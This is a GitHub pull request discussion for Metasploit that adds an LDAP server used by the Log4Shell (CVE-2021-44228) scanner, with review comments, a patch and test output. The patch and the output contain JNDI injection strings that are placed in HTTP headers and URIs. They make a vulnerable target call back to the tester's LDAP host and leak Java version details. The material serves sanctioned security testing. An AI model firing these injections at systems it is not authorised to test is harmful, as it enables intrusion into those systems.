Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

(Log4Shell playthings) Initial implementation of Rex LDAP Server #15961

Merged
merged 7 commits into from Dec 28, 2021

Conversation

sempervictus
Copy link
Contributor

@sempervictus sempervictus commented Dec 14, 2021

In order to support efforts around CVE-2021-44228, an LDAP server
is needed to service JNDI LDAP URLs with properly encoded response
data. Rex provides native service infrastructure defining patterns
to provide callbacks to higher-level consumers for incoming and
outgoing data actions, and is designed for integration into higher
level namespaces within Msf::.

This commit stubs out the required LDAP service, borrowing the meat
of LDAP interaction from the ldapserver.rb file in net-ldap's
testserver directory. The rest of the service is boilerplate Rex
code supporting both UDP and TCP layer 4 protocols with all the
monitor thread management needed to handle stateless transport.

Default LDAP request handling is taken ~ verbatim from upstream to
show how an Msf or MetasploitModule level callback could interact
with the data.

Testing: none, this is an ugly hack by a grumpy old man.

TODO:
Test the code...
Provide Msf::Exploit namespace with relevant interfaces
For now, this can be used raw in modules - well make it pretty
later.
Narrow down use-cases/interactions and extend convenience methods
to better service consumers.

@sempervictus
Copy link
Contributor Author

Ping @smcintyre-r7/@zeroSteiner & @timwr
Related to #15958

@sempervictus
Copy link
Contributor Author

I forget how lively the PR page gets when apocalyptic stuff is afoot . Thanks for checking @bcoles @gwillcox-r7 - could you guys please peek the code and kick me to fix any mistakes? I've been writing Rust and languages which i'm too embarrassed to mention in hacker company for the last few months so please don't assume any proficiency on my end :).

@sempervictus
Copy link
Contributor Author

Yup, my stuff would fail sanity tests.
I'll peek when i get back, the former results page is now a tar archive...
@Team-R7: are there expected failures in that test?

@space-r7
Copy link
Contributor

We've had the same failure on a few other PRs, so it looks like it's an issue on our side.

@sempervictus
Copy link
Contributor Author

Thanks @space-r7.
I'm going to take a pass at the Msf namespace around this, and probably give it a way to pass-in a compiled ldif directory.
Anyone on your end have the magic invocation to chain payload generation? I can write the relevant glue to pipe that out to victims as well.

zeroSteiner added a commit to zeroSteiner/metasploit-framework that referenced this pull request Dec 15, 2021
This merges rapid7#15961 into the log4shell branch to test the new LDAP
server.
@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Dec 15, 2021

Weird this is now trying to pull in files that were landed earlier today. Are you sure your branch is synced correctly with master?

Edit: If needed I'm happy to rebase this if you would like and see if that fixes things if your having issues, otherwise feel free to try rebase against master again, looks like something got a bit wonky along the way.

@sempervictus sempervictus force-pushed the feature/rex_ldap_server branch 3 times, most recently from ab0ad80 to 6af100f Compare December 15, 2021 08:48
@sempervictus
Copy link
Contributor Author

Rebased on master.
So i think i need a hand in the protocol piece here - i've got it working with standard LDAP ASN syntax in that i can identify a bind request and appear to be sending correct anon bind responses - 389/tcp open ldap (Anonymous bind OK) but something's not working correctly with the search piece. Plumbing should be more or less there, now we need to get the protocol interactions squared

@sempervictus sempervictus force-pushed the feature/rex_ldap_server branch 2 times, most recently from 9fc6e40 to af1cbd9 Compare December 15, 2021 08:56
@sempervictus
Copy link
Contributor Author

Looks like the PDU parsing for the authenticated search request is failing:

[12/15/2021 03:59:30] [i(0)] core: Error in stream server client monitor: LDAP PDU Format Error: undefined method `[]' for nil:NilClass
[12/15/2021 03:59:30] [i(0)] core: 
Call stack:
.../gems/net-ldap-0.17.0/lib/net/ldap/pdu.rb:97:in `rescue in initialize'
.../gems/net-ldap-0.17.0/lib/net/ldap/pdu.rb:86:in `initialize'
/opt/metasploit4/msf4/lib/rex/proto/ldap/server.rb:149:in `new'
/opt/metasploit4/msf4/lib/rex/proto/ldap/server.rb:149:in `default_dispatch_request'
/opt/metasploit4/msf4/lib/rex/proto/ldap/server.rb:137:in `dispatch_request'
/opt/metasploit4/msf4/lib/rex/proto/ldap/server.rb:273:in `on_client_data'
/opt/metasploit4/msf4/lib/rex/proto/ldap/server.rb:103:in `block in start'

which is while pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) in the code and works for the preceding bind packet :-/.

lib/msf/core/exploit/remote/ldap/server.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/remote/ldap/server.rb Outdated Show resolved Hide resolved
Comment on lines 146 to 149
def default_dispatch_request(cli, data)
return if data.strip.empty?
data.extend(Net::BER::Extensions::String)
while pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

So it looks like this is intending to handle an encoded stream of requests. It'd be really nice if each PDU was handled individually as an option when using the library. Something like an on_request_pdu callback that would handle exactly one PDU request that could then dispatch to the services default handler. That would enable modules to catch the request types they want to handle themselves and forward the rest to the default without needing all the error handling and looping logic.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also I was encountering an exception here when the stream was depleted.

Suggested change
def default_dispatch_request(cli, data)
return if data.strip.empty?
data.extend(Net::BER::Extensions::String)
while pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
while !data.empty? && pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For now i am logging these, but yeah, we should revise as suggested (adding as a TODO)

lib/rex/proto/ldap/server.rb Outdated Show resolved Hide resolved
zeroSteiner added a commit to zeroSteiner/metasploit-framework that referenced this pull request Dec 15, 2021
@sempervictus
Copy link
Contributor Author

I think we're roughly "testable" now - could folks using this rebase/merge-up and kick me with any new or unresolved issues?

Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I tested this out a bit and didn't find an real issues. Part of the testing was with the Log4Shell scanner.

modules/auxiliary/server/ldap_server.rb Outdated Show resolved Hide resolved
modules/auxiliary/server/ldap_server.rb Outdated Show resolved Hide resolved
@sempervictus sempervictus changed the title Initial implementation of Rex LDAP Server (Log4Shell playthings) Initial implementation of Rex LDAP Server Dec 16, 2021
lib/rex/proto/ldap/server.rb Outdated Show resolved Hide resolved
modules/auxiliary/server/ldap_server.rb Outdated Show resolved Hide resolved
lib/rex/proto/ldap/server.rb Outdated Show resolved Hide resolved
@sempervictus
Copy link
Contributor Author

@zeroSteiner - could you please suggest a merge fix against your code?

@zeroSteiner
Copy link
Contributor

@zeroSteiner - could you please suggest a merge fix against your code?

Sure, if you apply the following patch, the conflict can be resolved by just accepting all the changes within this PR.

log4shell_scanner.patch
commit e7a87e076f7bc51fb5bdbfb649d9f8785733c443
Author: smcintyre-r7 <smcintyre-r7@github>
Date:   Thu Dec 16 17:32:28 2021 -0500

    Merge-deconflict

diff --git a/modules/auxiliary/scanner/http/log4shell_scanner.rb b/modules/auxiliary/scanner/http/log4shell_scanner.rb
index 1d248aadd0..d4c07f9b01 100644
--- a/modules/auxiliary/scanner/http/log4shell_scanner.rb
+++ b/modules/auxiliary/scanner/http/log4shell_scanner.rb
@@ -13,8 +13,16 @@ class MetasploitModule < Msf::Auxiliary
     super(
       'Name' => 'Log4Shell HTTP Scanner',
       'Description' => %q{
-        Check and HTTP endpoint for the Log4Shell vulnerability. This will try a series of HTTP requests based on the
-        module configuration in an attempt to trigger a LDAP connections from a vulnerable instance.
+        Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,
+        log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.
+
+        This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will
+        trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying
+        instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include
+        HTTP headers and the HTTP request path.
+
+        Known impacted software includes Apache Struts 2, VMWare VCenter, Apache James, Apache Solr, Apache Druid,
+        Apache JSPWiki, Apache OFBiz.
       },
       'Author' => [
         'Spencer McIntyre', # The fun stuff
@@ -22,12 +30,10 @@ class MetasploitModule < Msf::Auxiliary
       ],
       'References' => [
         [ 'CVE', '2021-44228' ],
+        [ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis' ]
       ],
       'DisclosureDate' => '2021-12-09',
       'License' => MSF_LICENSE,
-      'DefaultOptions' => {
-        'SRVPORT' => 389
-      },
       'Notes' => {
         'Stability' => [CRASH_SAFE],
         'SideEffects' => [IOC_IN_LOGS],
@@ -39,12 +45,23 @@ class MetasploitModule < Msf::Auxiliary
     register_options([
       OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
       OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),
-      OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true]),
-      OptPath.new('HEADERS_FILE', [
-        true, 'File containing headers to check',
-        File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', 'http_headers.txt')
-      ]),
-      OptPath.new('URIS_FILE', [ false, 'File containing additional URIs to check' ])
+      OptPath.new(
+        'HEADERS_FILE',
+        [
+          false,
+          'File containing headers to check',
+          File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', 'http_headers.txt')
+        ]
+      ),
+      OptPath.new(
+        'URIS_FILE',
+        [
+          false,
+          'File containing additional URIs to check',
+          File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', 'http_uris.txt')
+        ]
+      ),
+      OptInt.new('LDAP_TIMEOUT', [ true, 'Time in seconds to wait to receive LDAP connections', 30 ])
     ])
   end
 
@@ -61,7 +78,7 @@ class MetasploitModule < Msf::Auxiliary
     data.extend(Net::BER::Extensions::String)
     begin
       pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
-      vprint_status("LDAP request data remaining: #{data}") unless data.empty?
+      vprint_status("LDAP request data remaining: #{data}") if data.length > 0
       resp = case pdu.app_tag
              when Net::LDAP::PDU::BindRequest # bind request
                client.authenticated = true
@@ -73,18 +90,20 @@ class MetasploitModule < Msf::Auxiliary
                  Net::LDAP::PDU::BindResult
                )
              when Net::LDAP::PDU::SearchRequest # search request
-               if client.authenticated || datastore['LDAP_AUTH_BYPASS']
+               if client.authenticated or datastore['LDAP_AUTH_BYPASS']
                  # Perform query against some loaded LDIF structure
                  treebase = pdu.search_parameters[:base_object].to_s
                  token, java_version = treebase.split('/', 2)
-                 unless (context = @tokens.delete(token)).nil?
-                   details = normalize_uri(context[:target_uri]).to_s
-                   details << " (header: #{context[:headers].keys.first})" unless context[:headers].nil?
+                 target_info = @mutex.synchronize { @tokens.delete(token) }
+                 if target_info
+                   details = normalize_uri(target_info[:target_uri]).to_s
+                   details << " (header: #{target_info[:headers].keys.first})" unless target_info[:headers].nil?
                    details << " (java: #{java_version})" unless java_version.blank?
-                   print_good('Log4Shell found via ' + details)
+                   peerinfo = "#{target_info[:rhost]}:#{target_info[:rport]}"
+                   print_good("#{peerinfo.ljust(21)} - Log4Shell found via #{details}")
                    report_vuln(
-                     host: context[:rhost],
-                     port: context[:rport],
+                     host: target_info[:rhost],
+                     port: target_info[:rport],
                      info: "Module #{fullname} detected Log4Shell vulnerability via #{details}",
                      name: name,
                      refs: references
@@ -92,7 +111,7 @@ class MetasploitModule < Msf::Auxiliary
                  end
                  nil
                else
-                 service.encode_ldap_response(pdu.message_id, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
+                 service.encode_ldap_response(5, pdu[0].to_i, 50, '', 'Not authenticated')
                end
              else
                vprint_status("Client sent unexpected request #{tag}")
@@ -114,44 +133,70 @@ class MetasploitModule < Msf::Auxiliary
   end
 
   def run
+    fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
+    @mutex = Mutex.new
     @tokens = {}
-    start_service
-    # TODO: This is not OK, especially for upstreaming, but time is of the essence
-    # will PR a fix for this by implementing the aliasing in Ref or ServiceManager
-    service.instance_eval('def dup; ref; end')
+    begin
+      start_service
+    rescue Rex::BindFailed => e
+      fail_with(Failure::BadConfig, e.to_s)
+    end
+
     super
+
+    print_status("Sleeping #{datastore['LDAP_TIMEOUT']} seconds for any last LDAP connections")
+    sleep datastore['LDAP_TIMEOUT']
   ensure
     stop_service
   end
 
   def replicant
+    #
+    # WARNING: This is a horrible pattern and should not be copy-pasted into new code. A better solution is currently
+    # in the works to address service / socket replication as it affects scanner modules.
+    #
+    service = @service
+    @service = nil
     obj = super
-    obj.tokens = tokens
+    @service = service
+
+    # but do copy the tokens and mutex to the new object
+    obj.mutex = @mutex
+    obj.tokens = @tokens
     obj
   end
 
-  # Fingerprint a single host
   def run_host(ip)
+    # probe the target before continuing
+    return if send_request_cgi('uri' => normalize_uri(target_uri)).nil?
+
     run_host_uri(ip, normalize_uri(target_uri)) unless target_uri.blank?
 
     return if datastore['URIS_FILE'].blank?
 
-    File.open(datastore['URIS_FILE'], 'rb').lines.each do |uri|
-      uri.strip!
-      next if uri.start_with?('#')
-
-      run_host_uri(ip, normalize_uri(target_uri, uri))
+    File.open(datastore['URIS_FILE'], 'rb').each_line(chomp: true) do |uri|
+      next if uri.blank? || uri.start_with?('#')
+
+      if uri.include?('${jndi:uri}')
+        token = rand_text_alpha_lower_numeric(8..32)
+        jndi = jndi_string(token)
+        uri.delete_prefix!('/')
+        test(token, uri: normalize_uri(target_uri, '') + uri.gsub('${jndi:uri}', Rex::Text.uri_encode(jndi)))
+      else
+        run_host_uri(ip, normalize_uri(target_uri, uri))
+      end
     end
   end
 
   def run_host_uri(_ip, uri)
-    headers_file = ::File.read(datastore['HEADERS_FILE'])
-    headers_file.lines.map(&:strip).each do |header|
-      header.strip!
-      next if header.start_with?('#') || header.empty?
-
-      token = rand_text_alpha_lower_numeric(8..32)
-      test(token, uri: uri, headers: { header => jndi_string(token) })
+    unless datastore['HEADERS_FILE'].blank?
+      headers_file = File.open(datastore['HEADERS_FILE'], 'rb')
+      headers_file.each_line(chomp: true) do |header|
+        next if header.blank? || header.start_with?('#')
+
+        token = rand_text_alpha_lower_numeric(8..32)
+        test(token, uri: uri, headers: { header => jndi_string(token) })
+      end
     end
 
     token = rand_text_alpha_lower_numeric(8..32)
@@ -164,12 +209,14 @@ class MetasploitModule < Msf::Auxiliary
   end
 
   def test(token, uri: nil, headers: nil)
-    @tokens[token] = {
+    target_info = {
       rhost: rhost,
       rport: rport,
       target_uri: uri,
       headers: headers
     }
+    @mutex.synchronize { @tokens[token] = target_info }
+
     send_request_raw(
       'uri' => uri,
       'method' => datastore['HTTP_METHOD'],
@@ -177,5 +224,5 @@ class MetasploitModule < Msf::Auxiliary
     )
   end
 
-  attr_accessor :tokens
+  attr_accessor :mutex, :tokens
 end
diff upstream/master..HEAD For context, these should then be the changes once the patch has been applied against the current revision on master.

It's pretty much just the service code.

git diff upstream/master..HEAD modules/auxiliary/scanner/http/log4shell_scanner.rb
diff --git a/modules/auxiliary/scanner/http/log4shell_scanner.rb b/modules/auxiliary/scanner/http/log4shell_scanner.rb
index 3bad2aa6dd..d4c07f9b01 100644
--- a/modules/auxiliary/scanner/http/log4shell_scanner.rb
+++ b/modules/auxiliary/scanner/http/log4shell_scanner.rb
@@ -6,7 +6,7 @@
 class MetasploitModule < Msf::Auxiliary
 
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::Remote::TcpServer
+  include Msf::Exploit::Remote::LDAP::Server
   include Msf::Auxiliary::Scanner
 
   def initialize
@@ -25,7 +25,8 @@ class MetasploitModule < Msf::Auxiliary
         Apache JSPWiki, Apache OFBiz.
       },
       'Author' => [
-        'Spencer McIntyre'
+        'Spencer McIntyre', # The fun stuff
+        'RageLtMan <rageltman[at]sempervictus>', # Some plumbing
       ],
       'References' => [
         [ 'CVE', '2021-44228' ],
@@ -33,9 +34,6 @@ class MetasploitModule < Msf::Auxiliary
       ],
       'DisclosureDate' => '2021-12-09',
       'License' => MSF_LICENSE,
-      'DefaultOptions' => {
-        'SRVPORT' => 389
-      },
       'Notes' => {
         'Stability' => [CRASH_SAFE],
         'SideEffects' => [IOC_IN_LOGS],
@@ -71,44 +69,60 @@ class MetasploitModule < Msf::Auxiliary
     "${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{resource}/${sys:java.vendor}_${sys:java.version}}"
   end
 
-  def on_client_connect(client)
-    client.extend(Net::BER::BERParser)
-    pdu = Net::LDAP::PDU.new(client.read_ber(Net::LDAP::AsnSyntax))
-    return unless pdu.app_tag == Net::LDAP::PDU::BindRequest
-
-    response = [
-      pdu.message_id.to_ber,
-      [
-        Net::LDAP::ResultCodeSuccess.to_ber_enumerated, ''.to_ber, ''.to_ber
-      ].to_ber_appsequence(Net::LDAP::PDU::BindResult)
-    ].to_ber_sequence
-    client.write(response)
-
-    pdu = Net::LDAP::PDU.new(client.read_ber(Net::LDAP::AsnSyntax))
-    return unless pdu.app_tag == Net::LDAP::PDU::SearchRequest
-
-    base_object = pdu.search_parameters[:base_object].to_s
-    token, java_version = base_object.split('/', 2)
-
-    target_info = @mutex.synchronize { @tokens.delete(token) }
-    if target_info
-      details = normalize_uri(target_info[:target_uri]).to_s
-      details << " (header: #{target_info[:headers].keys.first})" unless target_info[:headers].nil?
-      details << " (java: #{java_version})" unless java_version.blank?
-      peerinfo = "#{target_info[:rhost]}:#{target_info[:rport]}"
-      print_good("#{peerinfo.ljust(21)} - Log4Shell found via #{details}")
-      report_vuln(
-        host: target_info[:rhost],
-        port: target_info[:rport],
-        info: "Module #{fullname} detected Log4Shell vulnerability via #{details}",
-        name: name,
-        refs: references
-      )
+  #
+  # Handle incoming requests via service mixin
+  #
+  def on_dispatch_request(client, data)
+    return if data.strip.empty?
+
+    data.extend(Net::BER::Extensions::String)
+    begin
+      pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
+      vprint_status("LDAP request data remaining: #{data}") if data.length > 0
+      resp = case pdu.app_tag
+             when Net::LDAP::PDU::BindRequest # bind request
+               client.authenticated = true
+               service.encode_ldap_response(
+                 pdu.message_id,
+                 Net::LDAP::ResultCodeSuccess,
+                 '',
+                 '',
+                 Net::LDAP::PDU::BindResult
+               )
+             when Net::LDAP::PDU::SearchRequest # search request
+               if client.authenticated or datastore['LDAP_AUTH_BYPASS']
+                 # Perform query against some loaded LDIF structure
+                 treebase = pdu.search_parameters[:base_object].to_s
+                 token, java_version = treebase.split('/', 2)
+                 target_info = @mutex.synchronize { @tokens.delete(token) }
+                 if target_info
+                   details = normalize_uri(target_info[:target_uri]).to_s
+                   details << " (header: #{target_info[:headers].keys.first})" unless target_info[:headers].nil?
+                   details << " (java: #{java_version})" unless java_version.blank?
+                   peerinfo = "#{target_info[:rhost]}:#{target_info[:rport]}"
+                   print_good("#{peerinfo.ljust(21)} - Log4Shell found via #{details}")
+                   report_vuln(
+                     host: target_info[:rhost],
+                     port: target_info[:rport],
+                     info: "Module #{fullname} detected Log4Shell vulnerability via #{details}",
+                     name: name,
+                     refs: references
+                   )
+                 end
+                 nil
+               else
+                 service.encode_ldap_response(5, pdu[0].to_i, 50, '', 'Not authenticated')
+               end
+             else
+               vprint_status("Client sent unexpected request #{tag}")
+               client.close
+             end
+      resp.nil? ? client.close : on_send_response(client, resp)
+    rescue StandardError => e
+      print_error("Failed to handle LDAP request due to #{e}")
+      client.close
     end
-  rescue Net::LDAP::PDU::Error => e
-    vprint_error("#{peer} - #{e}")
-  ensure
-    service.close_client(client)
+    resp
   end
 
   def rand_text_alpha_lower_numeric(len, bad = '')
@@ -122,9 +136,8 @@ class MetasploitModule < Msf::Auxiliary
     fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
     @mutex = Mutex.new
     @tokens = {}
-    # always disable SSL because the LDAP server doesn't use it but the setting is shared with the HTTP requests
     begin
-      start_service('SSL' => false)
+      start_service
     rescue Rex::BindFailed => e
       fail_with(Failure::BadConfig, e.to_s)
     end

@sempervictus
Copy link
Contributor Author

hmm, that dog won't hunt exactly - going to apply the diff and make some changes as this breaks stuff

@sempervictus
Copy link
Contributor Author

@zeroSteiner - done. However this drops my ref/dup thing so i haven't tested whether it actually works.

@sempervictus
Copy link
Contributor Author

New PR incoming with module - had to drop to avoid conflict

In order to detect scan callbacks, serve payloads, and otherwise
interact with the LDAP protocol handler in JNDI, Metasploit needs
a native LDAP service properly exposed to various parts of the
Framework and users/consumers.

Implement Rex::Protocol::LDAP::Server with TCP and UDP socket
handlers abstracted to a common access pattern between L4 stacks.
Extend the socket clients to hold a state attibute for LDAP bind
authentication, and use the UDP client abstraction to implement
consistent callback semantics for data receipt from a client and
handling response on the other side. The server utilizes Rex'
native sockets, permitting full pivot and proxy support over the
Switchboard.

Implement the Msf::Exploit::Remote::LDAP::Server mixin to manage
service abstraction and shared methods exposed to Metasploit
modules.
Note: during implementation of this functionality, it was
discovered that the Scanner mixin's :replicant method resulted in
:dup calls to the Rex::ServiceManager service created by this new
mixin (and any others leveraging ServiceManager). As a result,
double-bind attempts created failures in service instantiation from
the duplicated MetasploitModules which also dropped the @service
instance variable reference to the actual running service; leaving
the socket inexorably bound until Framework was halted and Ruby
released the FDs. See rapid7/rex-core#19
and the Issues/Pull Requests sections of R7's MSF GitHub.

Expose the new LDAP infrastructure to users by way of a basic LDAP
server MetasploitModule which consumes a tiny sample LDIF (provided)
and performs queries against it. This is intended to be a template
for future work such as LDAP authentication capture, protocol proxy
for MITM and intercept, and other more specific implementations for
exploits and auxiliary modules.

For feature completeness, provide a Rex::Socket override for
Net::LDAP::Connection until we have a proper, native to Rex, LDAP
client class implemented.

Testing:
  Basic functionality only, this is an early effort which will be
extended for feature-completeness over time
modules/auxiliary/server/ldap_server.rb Outdated Show resolved Hide resolved
modules/auxiliary/server/ldap_server.rb Outdated Show resolved Hide resolved
RageLtMan added 2 commits December 16, 2021 19:20
Implement the new Rex::Protocol::LDAP::Server to handle log4shell
callbacks from vulnerable hosts.
@adfoster-r7
Copy link
Contributor

The previous module still works for me against solr 🎉

msf6 auxiliary(scanner/http/log4shell_scanner) > run http://10.10.184.53:8983 srvhost=10.9.4.245

[+] 10.10.184.53:8983     - Log4Shell found via /solr/admin/cores?action=CREATE&wt=json&name=%24%7bjndi%3aldap%3a/10.9.4.245%3a389/yn0jcfb1mih3jb9jl2/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d (java: Oracle Corporation_1.8.0_181)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections

Although we seem to have lost this helpful debug line from the old implementation, which was previously handy for spotting when I was listening on the wrong interface 😄

[*] Started service listener on 10.9.4.245:389 

Not a massive issue, but it may not handle the srvhost being scanned:

[-] Failed to handle LDAP request due to LDAP PDU Format Error: undefined method `to_i' for [[]]:Net::BER::BerIdentifiedArray
Did you mean?  to_s
               to_a
               to_h
[*] Scanned 1 of 1 hosts (100% complete)
[*] Sleeping 30 seconds for any last LDAP connections

@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Dec 17, 2021

Ah, I realize that in addition to losing the helpful startup message:

[*] Started service listener on 10.9.4.245:389 

We also lose the helpful bind error message EACCES error handling

Master:

rescue ::Errno::EACCES => e
if (srvport.to_i < 1024)
print_line(" ")
print_error("Could not start the TCP server: #{e}.")
print_error(
"This module is configured to use a privileged TCP port (#{srvport}). " +
"On Unix systems, only the root user account is allowed to bind to privileged ports." +
"Please run the framework as root to use this module."
)
print_error(
"On Microsoft Windows systems, this error is returned when a process attempts to "+
"listen on a host/port combination that is already in use. For example, Windows XP "+
"will return this error if a process attempts to bind() over the system SMB/NetBIOS services."
)
print_line(" ")
end

This branch:

msf6 auxiliary(scanner/http/log4shell_scanner) > run http://10.10.184.53:8983 srvhost=10.9.4.245

[-] Auxiliary aborted due to failure: bad-config: The address is already in use or unavailable: (Permission denied - bind(2) for 10.9.4.245:389).
[*] Auxiliary module execution completed

Might be good shuffling things around to get a consistent error message here

RageLtMan added 2 commits December 18, 2021 07:52
Due to how this stack is being broken up into LDAP core, scanner
update, and exploit work, changes requested in rapid7#15972 actually
apply in this branch and get rebased to the remaining ones.

Address requests to clean up the textual messages, LDIF file read,
sourcing of LDAP methods from net-ldap, and YARD-related placement
of attr_* annotations.
@sempervictus
Copy link
Contributor Author

Thanks for digging into this @adfoster-r7.
Thinking that handling of rescue ::Errno::EACCES => e should probably happen in the Rex::ServiceManager lest we have to write it into every start_service call.
That might sound onerous, but i realize now that we need a tweak to how services work in general as we currently get namespace collision for mixing in multiple service manager modules (so this will become :ldap_service with a :service decorator method calling that such that namespaces can layer and we can :start_service neatly across them via super while maintaining access and :cleanup for the layered stack without having to edit tons of modules), so it could be done when i write that PR....

Regarding Rex::Proto::LDAP - i obviously vote that we include it, but @zeroSteiner wisely pointed out that its a bit tangential and makes more work for R7 team to review and thus longer to pull in the main body of effort. Eventually we need Packet crafting or at least a proper Client implementation in that namespace, but for the time being what i provided is a dusty hack (vs actually dirty) in that the Net::LDAP::Connection's use of Ruby's standard library sockets is replaced with ours to permit pivot and proxying of the connection. Its a band-aid of sorts, but a capability in-hand is worth more than a solution on the drawing board IMO.

@bwatters-r7 bwatters-r7 added hotness Something we're really excited about library labels Dec 23, 2021
Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was able to test the client changes using the auxiliary/gather/ldap_hashdump module and the test server from it's module docs. I tested both with and without an SSL socket (SSL provided by ncat) and everything worked as intended once the options were set correctly.

I also retested the Log4Shell scanner which is still functioning correctly.

Finally I tested the ldap server module once more and wrote up the module docs which I pushed up in d82b9ec. I did rename it to simply ldap to match the other modules. When we get around to having a proxy we can name it ldap_proxy which should still be intuitive given that an LDAP's typical function is not to proxy.

Once the unit tests pass, I'll get this landed. Thanks for all of your work on this @sempervictus!

@smcintyre-r7 smcintyre-r7 added docs module rn-modules release notes for new or majorly enhanced modules labels Dec 28, 2021
@smcintyre-r7 smcintyre-r7 merged commit d08714d into rapid7:master Dec 28, 2021
@smcintyre-r7
Copy link
Contributor

Release Notes

This adds the initial implementation of an LDAP server implemented in Rex and updates the existing log4shell scanner module to use it as well as provides a new example module.

@sempervictus
Copy link
Contributor Author

Thanks for testing, completing, and landing thins @smcintyre-r7. All good with the name change on this end, will rebase the other two branches atop master now.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs hotness Something we're really excited about library module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

7 participants